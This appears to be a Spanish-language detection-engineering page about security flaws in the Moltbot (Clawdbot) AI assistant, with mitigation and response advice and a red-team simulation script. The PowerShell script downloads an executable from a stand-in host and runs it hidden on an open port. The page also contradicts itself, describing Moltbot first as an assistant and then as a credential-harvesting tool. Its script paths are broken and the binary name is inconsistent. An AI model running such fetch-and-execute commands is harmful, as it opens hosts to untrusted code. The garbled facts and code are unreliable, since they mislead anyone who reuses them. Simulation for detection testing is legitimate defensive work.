La Epidemia de Moltbot / ClawdBots

Resumen

El artículo señala problemas de seguridad en torno al asistente personal de IA inicialmente llamado Clawdbot y luego renombrado Moltbot. Moltbot opera a través de aplicaciones de mensajería como WhatsApp y Telegram, pero muchas implementaciones son accesibles desde internet con autenticación débil o inexistente. Escribe credenciales de usuario en archivos de texto plano, y su biblioteca de habilidades puede ser alterada, creando una exposición en la cadena de suministro. Los actores de amenazas podrían robar secretos, exfiltrar código fuente y reutilizar el asistente como una puerta trasera.

Investigación

Los investigadores encontraron cientos de instancias de Moltbot exponiendo puertos de administración sin autenticar y configuraciones de proxy inseguras. Un ataque de prueba de concepto en la cadena de suministro subió una habilidad maliciosa a la biblioteca ClawdHub, demostrando ejecución de comandos remotos para los usuarios posteriores. También se observó que los secretos se mantienen en archivos de texto plano Markdown y JSON, lo que los hace un blanco fácil para ladrones de información como RedLine, Lumma y Vidar.

Mitigación

Los operadores deben exigir una autenticación fuerte para todos los servicios de Moltbot, cerrar o aplicar un firewall a los puertos de administración y evitar exponer el asistente a internet. Habilite cifrado en reposo para secretos almacenados, use sandbox o contenedores para el entorno de ejecución y restrinja el acceso al sistema de archivos. Verifique, firme y ancle cualquier habilidad extraída de la biblioteca, y considere deshabilitar la función de habilidades si no puede ser gobernada de manera segura.

Respuesta

Alerta sobre puertos de administración abiertos e intentos de acceso sin autenticar a Moltbot. Monitoree el proceso de IA en busca de ejecuciones de comando inesperadas y conexiones salientes a dominios C2 desconocidos. Escanee los hosts en busca de malware destinado a robar credenciales y valide la integridad de los archivos de configuración almacenados. Si se confirma un compromiso, aísle el sistema, revoque las credenciales expuestas y reimplemente Moltbot con configuraciones reforzadas.

Ejecución de Simulación

Prerrequisito: la Verificación Previa de Telemetría y Línea Base debe haber pasado.

• Narrativa de Ataque y Comandos:
  El equipo rojo despliega Moltbot (una herramienta de recolección de credenciales disponible públicamente) en un host Windows comprometido. Al iniciar Moltbot con su configuración predeterminada, se abre una consola de administración HTTP sin autenticar en puerto 8080 que anuncia “expuesto a la web” en su banner. Esto crea eventos de conexión de red que coinciden con las cadenas literales de la regla de detección. Luego, el atacante accede a la interfaz de usuario desde una IP externa para verificar la exposición, generando así la telemetría requerida.

  1. Descargar Moltbot (simulado por un zip de marcador de posición).
  2. Extrae y ejecuta el binario con banderas predeterminadas (--listen 0.0.0.0:8080).
  3. Opcionalmente, emite un HTTP GET desde una IP externa (simulado a través de Invoke-WebRequest).

• Script de Prueba de Regresión:

  # ----------------------------------------------------
  # Simulación de Exposición de Moltbot – PowerShell
  # ----------------------------------------------------
  # 1. Cree un directorio temporal
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Simule la descarga de un ejecutable de Moltbot (marcador de posición)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. Ejecute Moltbot con la configuración (expuesta) predeterminada
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot iniciado (PID: $($proc.Id)) escuchando en 0.0.0.0:8080"
  
  # 4. Espere un corto periodo para permitir que el servicio se registre en los logs
  Start-Sleep -Seconds 5
  
  # 5. Simule una conexión externa para generar tráfico de red
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] Solicitud HTTP externa enviada a la UI de Moltbot."
  } Catch {
      Write-Warning "[-] No se puede alcanzar la UI de Moltbot (puede estar bloqueado por el firewall)."
  }
  
  # 6. Mantenga el proceso vivo para registros adicionales (opcional)
  Start-Sleep -Seconds 20
  
  # 7. Limpieza: detenga Moltbot
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Simulación de Moltbot completada y limpiada."

• Comandos de Limpieza:

  # Terminar forzosamente cualquier proceso de Moltbot sobrante y eliminar archivos temporales
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "Limpieza completada."